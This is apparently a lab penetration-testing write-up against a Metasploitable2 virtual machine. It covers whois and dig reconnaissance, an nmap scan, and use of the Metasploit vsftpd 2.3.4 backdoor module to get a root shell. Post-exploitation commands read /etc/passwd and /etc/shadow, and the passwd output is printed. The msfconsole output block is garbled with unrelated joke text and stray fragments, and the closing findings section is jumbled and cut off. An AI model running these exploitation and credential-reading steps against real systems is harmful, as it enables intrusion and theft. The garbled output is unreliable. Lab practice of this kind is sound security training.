

PENETRATION TESTING REPORT

Phase 1: Reconnaissance

Goal: Gather passive information about the target without direct interaction.

Why?: Passive reconnaissance helps identify potential entry points and reduces noise in logs. It collects public-facing information such as domain records, WHOIS details, DNS records, public emails, and exposed services that can guide later active scanning.

- Command : whois 192.168.10.4

```
(kali@kali)-[~]
$ whois 192.168.10.4

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2025, American Registry for Internet Numbers, Ltd.
#

NetRange: 192.168.0.0 - 192.168.255.255
CIDR: 192.168.0.0/16
NetName: PRIVATE-ADDRESS-CBLK-RFC1918-IANA-RESERVED
NetHandle: NET-192-168-0-0-1
Parent: NET192 (NET-192-0-0-0-0)
NetType: IANA Special Use
OriginAS:
Organization: Internet Assigned Numbers Authority (IANA)
RegDate: 1994-03-15
Updated: 2024-05-24
Comment: These addresses are in use by many millions of independently operated networks, which might be as small as a single computer connected to a home gateway, and are automatically configured in hundreds of millions of devices. They are only intended for use within a private context and traffic that needs to cross the Internet will need to use a different, unique address.
Comment: These addresses can be used by anyone without any need to coordinate with IANA or an Internet registry. The traffic from these addresses does not come from ICANN or IANA. We are not the source of activity you may see on logs or in e-mail records. Please refer to http://www.iana.org/abuse/answers
Comment:
Comment: These addresses were assigned by the IETF, the organization that develops Internet protocols, in the Best Current Practice document, RFC 1918 which can be found at: http://datatracker.ietf.org/doc/rfc1918
Ref: https://rdap.arin.net/registry/ip/192.168.0.0
```

- Command : dig 192.168.10.4

```
(kali@kali)-[~]
$ dig 192.168.10.4

; <<>> DiG 9.18.16-1-Debian <<>> 192.168.10.4
;; global options: +cmd
;; Got answer:
;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 25087
;; flags: qr rd ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;192.168.10.4. IN A
;; ANSWER SECTION:
192.168.10.4. IN A 192.168.10.4

;; Query time: 4 msec
;; SERVER: 192.168.137.1#53(192.168.137.1) (UDP)
;; WHEN: Sat Oct 25 07:21:56 UTC 2025
;; MSG SIZE rcvd: 58
```

Note: Do not run broad OSINT searches against real third-party domains without permission.

Findings : Target IP, Domain, Registrar, Nameservers, MX records, any public email addresses discovered, and notes on exposed services. Take screenshots of command outputs and save logs to files such as phase1_recon.txt. Example (lab): "Target IP: 192.168.1.10; Potential services: HTTP (80), SSH (22)".

Phase 2: Scanning :

Goal: Actively probe the target for vulnerabilities, open ports, and services.

Why?: Active scanning uncovers exploitable weaknesses that are not discoverable via passive recon.

Commands Used: `nmap -sS -sV -O 192.168.10.4`

```
(kali@kali)-[~]
└─$ sudo nmap -sS -sV -O 192.168.10.4
Starting Nmap 7.94 ( https://nmap.org ) at 2025-10-25 07:22 UTC
Nmap scan report for 192.168.10.4
Host is up (0.00092s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:BC:F6:E5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Explanation of key Nmap flags:

-sS : TCP SYN scan (stealthy) -sV : Service/version detection -O : Enable OS detection, version detection, script scanning.

Findings :

Typical Metasploitable2 findings include open ports like 21 (vsftpd), 22 (ssh), 23 (telnet), 80 (apache), 139/445 (samba), 3306 (mysql). Save results to files and capture screenshots. Example: "Port 21: vsftpd 2.3.4 (vulnerable)".

Phase 3: Exploitation

Goal: Use identified vulnerabilities to gain access.

Note: Always have explicit authorization before exploiting systems outside a lab environment. The following is a lab example (Metasploitable2).

Metasploit Walkthrough — vsftpd 2.3.4 backdoor (lab example)

Start Metasploit: msfconsole

Search module: search vsftpd

Use module: use exploit/unix/ftp/vsftpd_234_backdoor

Set target host: set RHOST 192.168.10.4

Run exploit: exploit

```
msfconsole
Metasploit tip: Store discovered credentials for later use with creds
msf5 > auto_run -f ssh/config

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E hashes.txt
Ready ...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and ...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!byte size (should be 0)
YOU DIDN'T SAY THE MAGIC WORD!na-00/vamp/hashes.txt
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!to Block: 4096 - regular empty
YOU DIDN'T SAY THE MAGIC WORD!Links: 1
+ -- --=[ 2,566 exploits - 1,316 auxiliary - 1,683 payloads
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

```
msf > search vsftpd

Matching Modules
=====
|  # | Name | Disclosure Date | Rank | Check | Description |
|----|-----|-----|-----|-----|-----|
| 0 | auxiliary/dos/ftp/vsftpd_232 | 2011-02-03 | normal | Yes | VSFTPD 2.3.2 Denial of Service |
| 1 | exploit/unix/ftp/vsftpd_234_backdoor | 2011-07-03 | excellent | No | VSFTPD v2.3.4 Backdoor Command Execution |

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor

[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) >
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.10.4
RHOST => 192.168.10.4
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.10.4:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.10.4:21 - USER: 331 Please specify the password.
[+] 192.168.10.4:21 - Backdoor service has been spawned, handling ...
[+] 192.168.10.4:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.10.7:39851 -> 192.168.10.4:6200) at 2025-10-26 08:11:34 +0000
```

Phase 4: Post-Exploitation

Goal: Maintain access and extract valuable information for impact assessment.

Once access is obtained, tasks usually include: privilege escalation checks, lateral movement planning, data exfiltration simulation, and cleanup. Always document each action with timestamps and save artifacts (e.g., harvested hashes, screenshots). Be careful to avoid causing damage; prefer read-only evidence collection when possible.

Common Tools & Commands:

- Sessions -I 1
- Id
- Whoami
- Uname -a
- Cat /etc/passwd
- Cat /etc/shadow

```

msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -l
Active sessions
=====
  Id  Name  Type  Info  Information  Connection  Progress  Type
  --  ---  ---  ---  ---  ---  ---  ---
  1    shell cmd/unix  192.168.10.7:39851 → 192.168.10.4:6200 (192.168.10.4)

msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...

id
uid=0(root) gid=0(root)
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

```

Phase 5: Reporting

Goal: Summarize findings and recommend mitigations.

Compile all logs, screenshots, commands, and findings into a final deliverable. Include: -
 Executive summary for non-technical stakeholders - Technical findings with reproducible steps and proof (screenshots, logs).

Sample Findings

Finding

Open FTP (vsftpd 2.3.4), nmap + banner, Upgrade vsftpd, restrict access Outdated